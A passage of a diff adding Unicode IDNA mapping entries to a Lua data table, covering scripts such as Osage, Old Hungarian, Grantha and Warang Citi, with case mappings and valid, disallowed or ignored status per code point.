+ [0x104CF] = 0x104F7, -- OSAGE CAPITAL LETTER WA
+ [0x104D0] = 0x104F8, -- OSAGE CAPITAL LETTER KHA
+ [0x104D1] = 0x104F9, -- OSAGE CAPITAL LETTER GHA
+ [0x104D2] = 0x104FA, -- OSAGE CAPITAL LETTER ZA
+ [0x104D3] = 0x104FB, -- OSAGE CAPITAL LETTER ZHA
+ -- NA <reserved-104D4>..<reserved-104D7>
+ [0x104D4] = {status="disallowed"},
+ [0x104D5] = {status="disallowed"},
+ [0x104D6] = {status="disallowed"},
+ [0x104D7] = {status="disallowed"},
+ -- NA <reserved-104FC>..<reserved-104FF>
+ [0x104FC] = {status="disallowed"},
+ [0x104FD] = {status="disallowed"},
+ [0x104FE] = {status="disallowed"},
+ [0x104FF] = {status="disallowed"},
+ [0x1056F] = {status="disallowed"}, -- CAUCASIAN ALBANIAN CITATION MARK
+ [0x10808] = {status="valid"}, -- CYPRIOT SYLLABLE JO
+ [0x10809] = {status="disallowed"}, -- NA <reserved-10809>
+ -- NA <reserved-10806>..<reserved-10807>
+ [0x10806] = {status="disallowed"},
+ [0x10807] = {status="disallowed"},
+ [0x10836] = {status="disallowed"}, -- NA <reserved-10836>
+ -- CYPRIOT SYLLABLE XA..CYPRIOT SYLLABLE XE
+ [0x10837] = {status="valid"},
+ [0x10838] = {status="valid"},
+ [0x1083C] = {status="valid"}, -- CYPRIOT SYLLABLE ZA
+ -- NA <reserved-10839>..<reserved-1083B>
+ [0x10839] = {status="disallowed"},
+ [0x1083A] = {status="disallowed"},
+ [0x1083B] = {status="disallowed"},
+ [0x1083F] = {status="valid"}, -- CYPRIOT SYLLABLE ZO
+ -- NA <reserved-1083D>..<reserved-1083E>
+ [0x1083D] = {status="disallowed"},
+ [0x1083E] = {status="disallowed"},
+ [0x10856] = {status="disallowed"}, -- NA <reserved-10856>
+ [0x108F3] = {status="disallowed"}, -- NA <reserved-108F3>
+ -- HATRAN LETTER SHIN..HATRAN LETTER TAW
+ [0x108F4] = {status="valid"},
+ [0x108F5] = {status="valid"},
+ -- NA <reserved-108F6>..<reserved-108FA>
+ [0x108F6] = {status="disallowed"},
+ [0x108F7] = {status="disallowed"},
+ [0x108F8] = {status="disallowed"},
+ [0x108F9] = {status="disallowed"},
+ [0x108FA] = {status="disallowed"},
+ -- HATRAN NUMBER ONE..HATRAN NUMBER ONE HUNDRED
+ [0x108FB] = {status="disallowed"},
+ [0x108FC] = {status="disallowed"},
+ [0x108FD] = {status="disallowed"},
+ [0x108FE] = {status="disallowed"},
+ [0x108FF] = {status="disallowed"},
+ [0x1091F] = {status="disallowed"}, -- PHOENICIAN WORD SEPARATOR
+ -- NA <reserved-1091C>..<reserved-1091E>
+ [0x1091C] = {status="disallowed"},
+ [0x1091D] = {status="disallowed"},
+ [0x1091E] = {status="disallowed"},
+ [0x1093F] = {status="disallowed"}, -- LYDIAN TRIANGULAR MARK
+ -- NA <reserved-1093A>..<reserved-1093E>
+ [0x1093A] = {status="disallowed"},
+ [0x1093B] = {status="disallowed"},
+ [0x1093C] = {status="disallowed"},
+ [0x1093D] = {status="disallowed"},
+ [0x1093E] = {status="disallowed"},
+ -- NA <reserved-109B8>..<reserved-109BB>
+ [0x109B8] = {status="disallowed"},
+ [0x109B9] = {status="disallowed"},
+ [0x109BA] = {status="disallowed"},
+ [0x109BB] = {status="disallowed"},
+ -- MEROITIC CURSIVE FRACTION ELEVEN TWELFTHS..MEROITIC CURSIVE FRACTION ONE HALF
+ [0x109BC] = {status="disallowed"},
+ [0x109BD] = {status="disallowed"},
+ -- MEROITIC CURSIVE LOGOGRAM RMT..MEROITIC CURSIVE LOGOGRAM IMN
+ [0x109BE] = {status="valid"},
+ [0x109BF] = {status="valid"},
+ -- NA <reserved-109D0>..<reserved-109D1>
+ [0x109D0] = {status="disallowed"},
+ [0x109D1] = {status="disallowed"},
+ [0x10A04] = {status="disallowed"}, -- NA <reserved-10A04>
+ -- KHAROSHTHI LETTER A..KHAROSHTHI VOWEL SIGN VOCALIC R
+ [0x10A00] = {status="valid"},
+ [0x10A01] = {status="valid"},
+ [0x10A02] = {status="valid"},
+ [0x10A03] = {status="valid"},
+ -- KHAROSHTHI VOWEL SIGN E..KHAROSHTHI VOWEL SIGN O
+ [0x10A05] = {status="valid"},
+ [0x10A06] = {status="valid"},
+ -- NA <reserved-10A07>..<reserved-10A0B>
+ [0x10A07] = {status="disallowed"},
+ [0x10A08] = {status="disallowed"},
+ [0x10A09] = {status="disallowed"},
+ [0x10A0A] = {status="disallowed"},
+ [0x10A0B] = {status="disallowed"},
+ [0x10A14] = {status="disallowed"}, -- NA <reserved-10A14>
+ [0x10A18] = {status="disallowed"}, -- NA <reserved-10A18>
+ -- KHAROSHTHI LETTER CA..KHAROSHTHI LETTER JA
+ [0x10A15] = {status="valid"},
+ [0x10A16] = {status="valid"},
+ [0x10A17] = {status="valid"},
+ -- NA <reserved-10A34>..<reserved-10A37>
+ [0x10A34] = {status="disallowed"},
+ [0x10A35] = {status="disallowed"},
+ [0x10A36] = {status="disallowed"},
+ [0x10A37] = {status="disallowed"},
+ -- KHAROSHTHI SIGN BAR ABOVE..KHAROSHTHI SIGN DOT BELOW
+ [0x10A38] = {status="valid"},
+ [0x10A39] = {status="valid"},
+ [0x10A3A] = {status="valid"},
+ [0x10A3F] = {status="valid"}, -- KHAROSHTHI VIRAMA
+ -- NA <reserved-10A3B>..<reserved-10A3E>
+ [0x10A3B] = {status="disallowed"},
+ [0x10A3C] = {status="disallowed"},
+ [0x10A3D] = {status="disallowed"},
+ [0x10A3E] = {status="disallowed"},
+ -- OLD SOUTH ARABIAN NUMBER ONE..OLD SOUTH ARABIAN NUMERIC INDICATOR
+ [0x10A7D] = {status="disallowed"},
+ [0x10A7E] = {status="disallowed"},
+ [0x10A7F] = {status="disallowed"},
+ -- OLD NORTH ARABIAN NUMBER ONE..OLD NORTH ARABIAN NUMBER TWENTY
+ [0x10A9D] = {status="disallowed"},
+ [0x10A9E] = {status="disallowed"},
+ [0x10A9F] = {status="disallowed"},
+ [0x10AC8] = {status="disallowed"}, -- MANICHAEAN SIGN UD
+ -- NA <reserved-10AE7>..<reserved-10AEA>
+ [0x10AE7] = {status="disallowed"},
+ [0x10AE8] = {status="disallowed"},
+ [0x10AE9] = {status="disallowed"},
+ [0x10AEA] = {status="disallowed"},
+ -- NA <reserved-10B36>..<reserved-10B38>
+ [0x10B36] = {status="disallowed"},
+ [0x10B37] = {status="disallowed"},
+ [0x10B38] = {status="disallowed"},
+ -- NA <reserved-10B56>..<reserved-10B57>
+ [0x10B56] = {status="disallowed"},
+ [0x10B57] = {status="disallowed"},
+ -- NA <reserved-10B73>..<reserved-10B77>
+ [0x10B73] = {status="disallowed"},
+ [0x10B74] = {status="disallowed"},
+ [0x10B75] = {status="disallowed"},
+ [0x10B76] = {status="disallowed"},
+ [0x10B77] = {status="disallowed"},
+ -- PSALTER PAHLAVI SECTION MARK..PSALTER PAHLAVI FOUR DOTS WITH DOT
+ [0x10B99] = {status="disallowed"},
+ [0x10B9A] = {status="disallowed"},
+ [0x10B9B] = {status="disallowed"},
+ [0x10B9C] = {status="disallowed"},
+ [0x10C80] = 0x10CC0, -- OLD HUNGARIAN CAPITAL LETTER A
+ [0x10C81] = 0x10CC1, -- OLD HUNGARIAN CAPITAL LETTER AA
+ [0x10C82] = 0x10CC2, -- OLD HUNGARIAN CAPITAL LETTER EB
+ [0x10C83] = 0x10CC3, -- OLD HUNGARIAN CAPITAL LETTER AMB
+ [0x10C84] = 0x10CC4, -- OLD HUNGARIAN CAPITAL LETTER EC
+ [0x10C85] = 0x10CC5, -- OLD HUNGARIAN CAPITAL LETTER ENC
+ [0x10C86] = 0x10CC6, -- OLD HUNGARIAN CAPITAL LETTER ECS
+ [0x10C87] = 0x10CC7, -- OLD HUNGARIAN CAPITAL LETTER ED
+ [0x10C88] = 0x10CC8, -- OLD HUNGARIAN CAPITAL LETTER AND
+ [0x10C89] = 0x10CC9, -- OLD HUNGARIAN CAPITAL LETTER E
+ [0x10C8A] = 0x10CCA, -- OLD HUNGARIAN CAPITAL LETTER CLOSE E
+ [0x10C8B] = 0x10CCB, -- OLD HUNGARIAN CAPITAL LETTER EE
+ [0x10C8C] = 0x10CCC, -- OLD HUNGARIAN CAPITAL LETTER EF
+ [0x10C8D] = 0x10CCD, -- OLD HUNGARIAN CAPITAL LETTER EG
+ [0x10C8E] = 0x10CCE, -- OLD HUNGARIAN CAPITAL LETTER EGY
+ [0x10C8F] = 0x10CCF, -- OLD HUNGARIAN CAPITAL LETTER EH
+ [0x10C90] = 0x10CD0, -- OLD HUNGARIAN CAPITAL LETTER I
+ [0x10C91] = 0x10CD1, -- OLD HUNGARIAN CAPITAL LETTER II
+ [0x10C92] = 0x10CD2, -- OLD HUNGARIAN CAPITAL LETTER EJ
+ [0x10C93] = 0x10CD3, -- OLD HUNGARIAN CAPITAL LETTER EK
+ [0x10C94] = 0x10CD4, -- OLD HUNGARIAN CAPITAL LETTER AK
+ [0x10C95] = 0x10CD5, -- OLD HUNGARIAN CAPITAL LETTER UNK
+ [0x10C96] = 0x10CD6, -- OLD HUNGARIAN CAPITAL LETTER EL
+ [0x10C97] = 0x10CD7, -- OLD HUNGARIAN CAPITAL LETTER ELY
+ [0x10C98] = 0x10CD8, -- OLD HUNGARIAN CAPITAL LETTER EM
+ [0x10C99] = 0x10CD9, -- OLD HUNGARIAN CAPITAL LETTER EN
+ [0x10C9A] = 0x10CDA, -- OLD HUNGARIAN CAPITAL LETTER ENY
+ [0x10C9B] = 0x10CDB, -- OLD HUNGARIAN CAPITAL LETTER O
+ [0x10C9C] = 0x10CDC, -- OLD HUNGARIAN CAPITAL LETTER OO
+ [0x10C9D] = 0x10CDD, -- OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG OE
+ [0x10C9E] = 0x10CDE, -- OLD HUNGARIAN CAPITAL LETTER RUDIMENTA OE
+ [0x10C9F] = 0x10CDF, -- OLD HUNGARIAN CAPITAL LETTER OEE
+ [0x10CA0] = 0x10CE0, -- OLD HUNGARIAN CAPITAL LETTER EP
+ [0x10CA1] = 0x10CE1, -- OLD HUNGARIAN CAPITAL LETTER EMP
+ [0x10CA2] = 0x10CE2, -- OLD HUNGARIAN CAPITAL LETTER ER
+ [0x10CA3] = 0x10CE3, -- OLD HUNGARIAN CAPITAL LETTER SHORT ER
+ [0x10CA4] = 0x10CE4, -- OLD HUNGARIAN CAPITAL LETTER ES
+ [0x10CA5] = 0x10CE5, -- OLD HUNGARIAN CAPITAL LETTER ESZ
+ [0x10CA6] = 0x10CE6, -- OLD HUNGARIAN CAPITAL LETTER ET
+ [0x10CA7] = 0x10CE7, -- OLD HUNGARIAN CAPITAL LETTER ENT
+ [0x10CA8] = 0x10CE8, -- OLD HUNGARIAN CAPITAL LETTER ETY
+ [0x10CA9] = 0x10CE9, -- OLD HUNGARIAN CAPITAL LETTER ECH
+ [0x10CAA] = 0x10CEA, -- OLD HUNGARIAN CAPITAL LETTER U
+ [0x10CAB] = 0x10CEB, -- OLD HUNGARIAN CAPITAL LETTER UU
+ [0x10CAC] = 0x10CEC, -- OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG UE
+ [0x10CAD] = 0x10CED, -- OLD HUNGARIAN CAPITAL LETTER RUDIMENTA UE
+ [0x10CAE] = 0x10CEE, -- OLD HUNGARIAN CAPITAL LETTER EV
+ [0x10CAF] = 0x10CEF, -- OLD HUNGARIAN CAPITAL LETTER EZ
+ [0x10CB0] = 0x10CF0, -- OLD HUNGARIAN CAPITAL LETTER EZS
+ [0x10CB1] = 0x10CF1, -- OLD HUNGARIAN CAPITAL LETTER ENT-SHAPED SIGN
+ [0x10CB2] = 0x10CF2, -- OLD HUNGARIAN CAPITAL LETTER US
+ -- NA <reserved-1104E>..<reserved-11051>
+ [0x1104E] = {status="disallowed"},
+ [0x1104F] = {status="disallowed"},
+ [0x11050] = {status="disallowed"},
+ [0x11051] = {status="disallowed"},
+ [0x1107F] = {status="valid"}, -- BRAHMI NUMBER JOINER
+ [0x110BD] = {status="disallowed"}, -- KAITHI NUMBER SIGN
+ -- KAITHI ABBREVIATION SIGN..KAITHI ENUMERATION SIGN
+ [0x110BB] = {status="disallowed"},
+ [0x110BC] = {status="disallowed"},
+ -- KAITHI SECTION MARK..KAITHI DOUBLE DANDA
+ [0x110BE] = {status="disallowed"},
+ [0x110BF] = {status="disallowed"},
+ [0x110C0] = {status="disallowed"},
+ [0x110C1] = {status="disallowed"},
+ [0x11135] = {status="disallowed"}, -- NA <reserved-11135>
+ -- CHAKMA SECTION MARK..CHAKMA QUESTION MARK
+ [0x11140] = {status="disallowed"},
+ [0x11141] = {status="disallowed"},
+ [0x11142] = {status="disallowed"},
+ [0x11143] = {status="disallowed"},
+ [0x11176] = {status="valid"}, -- MAHAJANI LIGATURE SHRI
+ -- MAHAJANI ABBREVIATION SIGN..MAHAJANI SECTION MARK
+ [0x11174] = {status="disallowed"},
+ [0x11175] = {status="disallowed"},
+ [0x111C9] = {status="disallowed"}, -- SHARADA SANDHI MARK
+ -- SHARADA DANDA..SHARADA SEPARATOR
+ [0x111C5] = {status="disallowed"},
+ [0x111C6] = {status="disallowed"},
+ [0x111C7] = {status="disallowed"},
+ [0x111C8] = {status="disallowed"},
+ [0x111CD] = {status="disallowed"}, -- SHARADA SUTRA MARK
+ -- SHARADA SIGN NUKTA..SHARADA EXTRA SHORT VOWEL MARK
+ [0x111CA] = {status="valid"},
+ [0x111CB] = {status="valid"},
+ [0x111CC] = {status="valid"},
+ -- NA <reserved-111CE>..<reserved-111CF>
+ [0x111CE] = {status="disallowed"},
+ [0x111CF] = {status="disallowed"},
+ [0x111DA] = {status="valid"}, -- SHARADA EKAM
+ [0x111DB] = {status="disallowed"}, -- SHARADA SIGN SIDDHAM
+ [0x111DC] = {status="valid"}, -- SHARADA HEADSTROKE
+ [0x111E0] = {status="disallowed"}, -- NA <reserved-111E0>
+ -- SHARADA CONTINUATION SIGN..SHARADA SECTION MARK-2
+ [0x111DD] = {status="disallowed"},
+ [0x111DE] = {status="disallowed"},
+ [0x111DF] = {status="disallowed"},
+ [0x11212] = {status="disallowed"}, -- NA <reserved-11212>
+ [0x1123E] = {status="valid"}, -- KHOJKI SIGN SUKUN
+ [0x11287] = {status="disallowed"}, -- NA <reserved-11287>
+ [0x11288] = {status="valid"}, -- MULTANI LETTER GHA
+ [0x11289] = {status="disallowed"}, -- NA <reserved-11289>
+ [0x1128E] = {status="disallowed"}, -- NA <reserved-1128E>
+ -- MULTANI LETTER CA..MULTANI LETTER JJA
+ [0x1128A] = {status="valid"},
+ [0x1128B] = {status="valid"},
+ [0x1128C] = {status="valid"},
+ [0x1128D] = {status="valid"},
+ [0x1129E] = {status="disallowed"}, -- NA <reserved-1129E>
+ [0x112A9] = {status="disallowed"}, -- MULTANI SECTION MARK
+ -- NA <reserved-112EB>..<reserved-112EF>
+ [0x112EB] = {status="disallowed"},
+ [0x112EC] = {status="disallowed"},
+ [0x112ED] = {status="disallowed"},
+ [0x112EE] = {status="disallowed"},
+ [0x112EF] = {status="disallowed"},
+ [0x11300] = {status="valid"}, -- GRANTHA SIGN COMBINING ANUSVARA ABOVE
+ [0x11304] = {status="disallowed"}, -- NA <reserved-11304>
+ -- GRANTHA SIGN CANDRABINDU..GRANTHA SIGN VISARGA
+ [0x11301] = {status="valid"},
+ [0x11302] = {status="valid"},
+ [0x11303] = {status="valid"},
+ -- NA <reserved-1130D>..<reserved-1130E>
+ [0x1130D] = {status="disallowed"},
+ [0x1130E] = {status="disallowed"},
+ -- GRANTHA LETTER EE..GRANTHA LETTER AI
+ [0x1130F] = {status="valid"},
+ [0x11310] = {status="valid"},
+ -- NA <reserved-11311>..<reserved-11312>
+ [0x11311] = {status="disallowed"},
+ [0x11312] = {status="disallowed"},
+ [0x11329] = {status="disallowed"}, -- NA <reserved-11329>
+ [0x11331] = {status="disallowed"}, -- NA <reserved-11331>
+ [0x11334] = {status="disallowed"}, -- NA <reserved-11334>
+ -- GRANTHA LETTER LA..GRANTHA LETTER LLA
+ [0x11332] = {status="valid"},
+ [0x11333] = {status="valid"},
+ -- GRANTHA LETTER VA..GRANTHA LETTER HA
+ [0x11335] = {status="valid"},
+ [0x11336] = {status="valid"},
+ [0x11337] = {status="valid"},
+ [0x11338] = {status="valid"},
+ [0x11339] = {status="valid"},
+ -- NA <reserved-1133A>..<reserved-1133B>
+ [0x1133A] = {status="disallowed"},
+ [0x1133B] = {status="disallowed"},
+ -- NA <reserved-11345>..<reserved-11346>
+ [0x11345] = {status="disallowed"},
+ [0x11346] = {status="disallowed"},
+ -- GRANTHA VOWEL SIGN EE..GRANTHA VOWEL SIGN AI
+ [0x11347] = {status="valid"},
+ [0x11348] = {status="valid"},
+ -- NA <reserved-11349>..<reserved-1134A>
+ [0x11349] = {status="disallowed"},
+ [0x1134A] = {status="disallowed"},
+ -- GRANTHA VOWEL SIGN OO..GRANTHA SIGN VIRAMA
+ [0x1134B] = {status="valid"},
+ [0x1134C] = {status="valid"},
+ [0x1134D] = {status="valid"},
+ [0x11350] = {status="valid"}, -- GRANTHA OM
+ -- NA <reserved-1134E>..<reserved-1134F>
+ [0x1134E] = {status="disallowed"},
+ [0x1134F] = {status="disallowed"},
+ [0x11357] = {status="valid"}, -- GRANTHA AU LENGTH MARK
+ -- NA <reserved-11358>..<reserved-1135C>
+ [0x11358] = {status="disallowed"},
+ [0x11359] = {status="disallowed"},
+ [0x1135A] = {status="disallowed"},
+ [0x1135B] = {status="disallowed"},
+ [0x1135C] = {status="disallowed"},
+ -- NA <reserved-11364>..<reserved-11365>
+ [0x11364] = {status="disallowed"},
+ [0x11365] = {status="disallowed"},
+ -- NA <reserved-1136D>..<reserved-1136F>
+ [0x1136D] = {status="disallowed"},
+ [0x1136E] = {status="disallowed"},
+ [0x1136F] = {status="disallowed"},
+ -- COMBINING GRANTHA LETTER A..COMBINING GRANTHA LETTER PA
+ [0x11370] = {status="valid"},
+ [0x11371] = {status="valid"},
+ [0x11372] = {status="valid"},
+ [0x11373] = {status="valid"},
+ [0x11374] = {status="valid"},
+ -- NEWA DANDA..NEWA ABBREVIATION SIGN
+ [0x1144B] = {status="disallowed"},
+ [0x1144C] = {status="disallowed"},
+ [0x1144D] = {status="disallowed"},
+ [0x1144E] = {status="disallowed"},
+ [0x1144F] = {status="disallowed"},
+ [0x1145A] = {status="disallowed"}, -- NA <reserved-1145A>
+ [0x1145B] = {status="disallowed"}, -- NEWA PLACEHOLDER MARK
+ [0x1145C] = {status="disallowed"}, -- NA <reserved-1145C>
+ [0x1145D] = {status="disallowed"}, -- NEWA INSERTION SIGN
+ [0x114C6] = {status="disallowed"}, -- TIRHUTA ABBREVIATION SIGN
+ [0x114C7] = {status="valid"}, -- TIRHUTA OM
+ -- NA <reserved-115B6>..<reserved-115B7>
+ [0x115B6] = {status="disallowed"},
+ [0x115B7] = {status="disallowed"},
+ [0x11644] = {status="valid"}, -- MODI SIGN HUVA
+ -- MODI DANDA..MODI ABBREVIATION SIGN
+ [0x11641] = {status="disallowed"},
+ [0x11642] = {status="disallowed"},
+ [0x11643] = {status="disallowed"},
+ -- NA <reserved-1171A>..<reserved-1171C>
+ [0x1171A] = {status="disallowed"},
+ [0x1171B] = {status="disallowed"},
+ [0x1171C] = {status="disallowed"},
+ -- NA <reserved-1172C>..<reserved-1172F>
+ [0x1172C] = {status="disallowed"},
+ [0x1172D] = {status="disallowed"},
+ [0x1172E] = {status="disallowed"},
+ [0x1172F] = {status="disallowed"},
+ [0x118A0] = 0x118C0, -- WARANG CITI CAPITAL LETTER NGAA
+ [0x118A1] = 0x118C1, -- WARANG CITI CAPITAL LETTER A
+ [0x118A2] = 0x118C2, -- WARANG CITI CAPITAL LETTER WI
+ [0x118A3] = 0x118C3, -- WARANG CITI CAPITAL LETTER YU
+ [0x118A4] = 0x118C4, -- WARANG CITI CAPITAL LETTER YA
+ [0x118A5] = 0x118C5, -- WARANG CITI CAPITAL LETTER YO
+ [0x118A6] = 0x118C6, -- WARANG CITI CAPITAL LETTER II
+ [0x118A7] = 0x118C7, -- WARANG CITI CAPITAL LETTER UU
+ [0x118A8] = 0x118C8, -- WARANG CITI CAPITAL LETTER E
+ [0x118A9] = 0x118C9, -- WARANG CITI CAPITAL LETTER O
+ [0x118AA] = 0x118CA, -- WARANG CITI CAPITAL LETTER ANG
+ [0x118AB] = 0x118CB, -- WARANG CITI CAPITAL LETTER GA
+ [0x118AC] = 0x118CC, -- WARANG CITI CAPITAL LETTER KO
+ [0x118AD] = 0x118CD, -- WARANG CITI CAPITAL LETTER ENY
+ [0x118AE] = 0x118CE, -- WARANG CITI CAPITAL LETTER YUJ
+ [0x118AF] = 0x118CF, -- WARANG CITI CAPITAL LETTER UC
+ [0x118B0] = 0x118D0, -- WARANG CITI CAPITAL LETTER ENN
+ [0x118B1] = 0x118D1, -- WARANG CITI CAPITAL LETTER ODD
+ [0x118B2] = 0x118D2, -- WARANG CITI CAPITAL LETTER TTE
+ [0x118B3] = 0x118D3, -- WARANG CITI CAPITAL LETTER NUNG
+ [0x118B4] = 0x118D4, -- WARANG CITI CAPITAL LETTER DA
+ [0x118B5] = 0x118D5, -- WARANG CITI CAPITAL LETTER AT
+ [0x118B6] = 0x118D6, -- WARANG CITI CAPITAL LETTER AM
+ [0x118B7] = 0x118D7, -- WARANG CITI CAPITAL LETTER BU
+ [0x118B8] = 0x118D8, -- WARANG CITI CAPITAL LETTER PU
+ [0x118B9] = 0x118D9, -- WARANG CITI CAPITAL LETTER HIYO
+ [0x118BA] = 0x118DA, -- WARANG CITI CAPITAL LETTER HOLO
+ [0x118BB] = 0x118DB, -- WARANG CITI CAPITAL LETTER HORR
+ [0x118BC] = 0x118DC, -- WARANG CITI CAPITAL LETTER HAR
+ [0x118BD] = 0x118DD, -- WARANG CITI CAPITAL LETTER SSUU
+ [0x118BE] = 0x118DE, -- WARANG CITI CAPITAL LETTER SII
+ [0x118BF] = 0x118DF, -- WARANG CITI CAPITAL LETTER VIYO
+ [0x118FF] = {status="valid"}, -- WARANG CITI OM
+ [0x11A47] = {status="valid"}, -- ZANABAZAR SQUARE SUBJOINER
+ -- NA <reserved-11A84>..<reserved-11A85>
+ [0x11A84] = {status="disallowed"},
+ [0x11A85] = {status="disallowed"},
+ [0x11A9D] = {status="disallowed"}, -- NA <reserved-11A9D>
+ -- SOYOMBO MARK TSHEG..SOYOMBO MARK DOUBLE SHAD
+ [0x11A9A] = {status="disallowed"},
+ [0x11A9B] = {status="disallowed"},
+ [0x11A9C] = {status="disallowed"},
+ -- SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME..SOYOMBO TERMINAL MARK-2
+ [0x11A9E] = {status="disallowed"},
+ [0x11A9F] = {status="disallowed"},
+ [0x11AA0] = {status="disallowed"},
+ [0x11AA1] = {status="disallowed"},
+ [0x11AA2] = {status="disallowed"},
+ [0x11C09] = {status="disallowed"}, -- NA <reserved-11C09>
+ [0x11C37] = {status="disallowed"}, -- NA <reserved-11C37>
+ -- BHAIKSUKI DANDA..BHAIKSUKI GAP FILLER-2
+ [0x11C41] = {status="disallowed"},
+ [0x11C42] = {status="disallowed"},
+ [0x11C43] = {status="disallowed"},
+ [0x11C44] = {status="disallowed"},
+ [0x11C45] = {status="disallowed"},
+ -- NA <reserved-11C6D>..<reserved-11C6F>
+ [0x11C6D] = {status="disallowed"},
+ [0x11C6E] = {status="disallowed"},
+ [0x11C6F] = {status="disallowed"},
+ -- MARCHEN HEAD MARK..MARCHEN MARK SHAD
+ [0x11C70] = {status="disallowed"},
+ [0x11C71] = {status="disallowed"},
+ -- NA <reserved-11C90>..<reserved-11C91>
+ [0x11C90] = {status="disallowed"},
+ [0x11C91] = {status="disallowed"},
+ [0x11CA8] = {status="disallowed"}, -- NA <reserved-11CA8>
+ [0x11D07] = {status="disallowed"}, -- NA <reserved-11D07>
+ [0x11D0A] = {status="disallowed"}, -- NA <reserved-11D0A>
+ -- MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O
+ [0x11D08] = {status="valid"},
+ [0x11D09] = {status="valid"},
+ [0x11D3A] = {status="valid"}, -- MASARAM GONDI VOWEL SIGN E
+ [0x11D3B] = {status="disallowed"}, -- NA <reserved-11D3B>
+ -- NA <reserved-11D37>..<reserved-11D39>
+ [0x11D37] = {status="disallowed"},
+ [0x11D38] = {status="disallowed"},
+ [0x11D39] = {status="disallowed"},
+ [0x11D3E] = {status="disallowed"}, -- NA <reserved-11D3E>
+ -- MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+ [0x11D3C] = {status="valid"},
+ [0x11D3D] = {status="valid"},
+ [0x12399] = {status="valid"}, -- CUNEIFORM SIGN U U
+ [0x1246F] = {status="disallowed"}, -- NA <reserved-1246F>
+ [0x12474] = {status="disallowed"}, -- CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON
+ -- CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER..CUNEIFORM PUNCTUATION SIGN DIAGONAL TRICOLON
+ [0x12470] = {status="disallowed"},
+ [0x12471] = {status="disallowed"},
+ [0x12472] = {status="disallowed"},
+ [0x12473] = {status="disallowed"},
+ [0x16A5F] = {status="disallowed"}, -- NA <reserved-16A5F>
+ -- NA <reserved-16A6A>..<reserved-16A6D>
+ [0x16A6A] = {status="disallowed"},
+ [0x16A6B] = {status="disallowed"},
+ [0x16A6C] = {status="disallowed"},
+ [0x16A6D] = {status="disallowed"},
+ -- MRO DANDA..MRO DOUBLE DANDA
+ [0x16A6E] = {status="disallowed"},
+ [0x16A6F] = {status="disallowed"},
+ -- NA <reserved-16AEE>..<reserved-16AEF>
+ [0x16AEE] = {status="disallowed"},
+ [0x16AEF] = {status="disallowed"},
+ [0x16AF5] = {status="disallowed"}, -- BASSA VAH FULL STOP
+ -- BASSA VAH COMBINING HIGH TONE..BASSA VAH COMBINING HIGH-LOW TONE
+ [0x16AF0] = {status="valid"},
+ [0x16AF1] = {status="valid"},
+ [0x16AF2] = {status="valid"},
+ [0x16AF3] = {status="valid"},
+ [0x16AF4] = {status="valid"},
+ -- PAHAWH HMONG SIGN VOS SEEV..PAHAWH HMONG SIGN IB YAM
+ [0x16B40] = {status="valid"},
+ [0x16B41] = {status="valid"},
+ [0x16B42] = {status="valid"},
+ [0x16B43] = {status="valid"},
+ -- PAHAWH HMONG SIGN XAUS..PAHAWH HMONG SIGN CIM TSOV ROG
+ [0x16B44] = {status="disallowed"},
+ [0x16B45] = {status="disallowed"},
+ [0x16B5A] = {status="disallowed"}, -- NA <reserved-16B5A>
+ [0x16B62] = {status="disallowed"}, -- NA <reserved-16B62>
+ -- NA <reserved-16B78>..<reserved-16B7C>
+ [0x16B78] = {status="disallowed"},
+ [0x16B79] = {status="disallowed"},
+ [0x16B7A] = {status="disallowed"},
+ [0x16B7B] = {status="disallowed"},
+ [0x16B7C] = {status="disallowed"},
+ [0x16FE0] = {status="valid"}, -- TANGUT ITERATION MARK
+ [0x16FE1] = {status="valid"}, -- NUSHU ITERATION MARK
+ -- NA <reserved-1BC6B>..<reserved-1BC6F>
+ [0x1BC6B] = {status="disallowed"},
+ [0x1BC6C] = {status="disallowed"},
+ [0x1BC6D] = {status="disallowed"},
+ [0x1BC6E] = {status="disallowed"},
+ [0x1BC6F] = {status="disallowed"},
+ -- NA <reserved-1BC7D>..<reserved-1BC7F>
+ [0x1BC7D] = {status="disallowed"},
+ [0x1BC7E] = {status="disallowed"},
+ [0x1BC7F] = {status="disallowed"},
+ [0x1BC9C] = {status="disallowed"}, -- DUPLOYAN SIGN O WITH CROSS
+ -- NA <reserved-1BC9A>..<reserved-1BC9B>
+ [0x1BC9A] = {status="disallowed"},
+ [0x1BC9B] = {status="disallowed"},
+ [0x1BC9F] = {status="disallowed"}, -- DUPLOYAN PUNCTUATION CHINOOK FULL STOP
+ -- DUPLOYAN THICK LETTER SELECTOR..DUPLOYAN DOUBLE MARK
+ [0x1BC9D] = {status="valid"},
+ [0x1BC9E] = {status="valid"},
+ -- SHORTHAND FORMAT LETTER OVERLAP..SHORTHAND FORMAT UP STEP
+ [0x1BCA0] = {status='ignored'},
+ [0x1BCA1] = {status='ignored'},
+ [0x1BCA2] = {status='ignored'},
+ [0x1BCA3] = {status='ignored'},
+ [0x1D129] = {status="disallowed"}, -- MUSICAL SYMBOL MULTIPLE MEASURE REST
+ -- NA <reserved-1D127>..<reserved-1D128>
+ [0x1D127] = {status="disallowed"},
+ [0x1D128] = {status="disallowed"},
+ [0x1D15E] = {0x1D157, 0x1D165}, -- MUSICAL SYMBOL HALF NOTE
+ [0x1D15F] = {0x1D158, 0x1D165}, -- MUSICAL SYMBOL QUARTER NOTE
+ [0x1D160] = {0x1D158, 0x1D165, 0x1D16E}, -- MUSICAL SYMBOL EIGHTH NOTE
+ [0x1D161] = {0x1D158, 0x1D165, 0x1D16F}, -- MUSICAL SYMBOL SIXTEENTH NOTE
+ [0x1D162] = {0x1D158, 0x1D165, 0x1D170}, -- MUSICAL SYMBOL THIRTY-SECOND NOTE
+ [0x1D163] = {0x1D158, 0x1D165, 0x1D171}, -- MUSICAL SYMBOL SIXTY-FOURTH NOTE
+ [0x1D164] = {0x1D158, 0x1D165, 0x1D172}, -- MUSICAL SYMBOL ONE HUNDRED TWENTY-EIGHTH NOTE
+ [0x1D1BB] = {0x1D1B9, 0x1D165}, -- MUSICAL SYMBOL MINIMA
+ [0x1D1BC] = {0x1D1BA, 0x1D165}, -- MUSICAL SYMBOL MINIMA BLACK
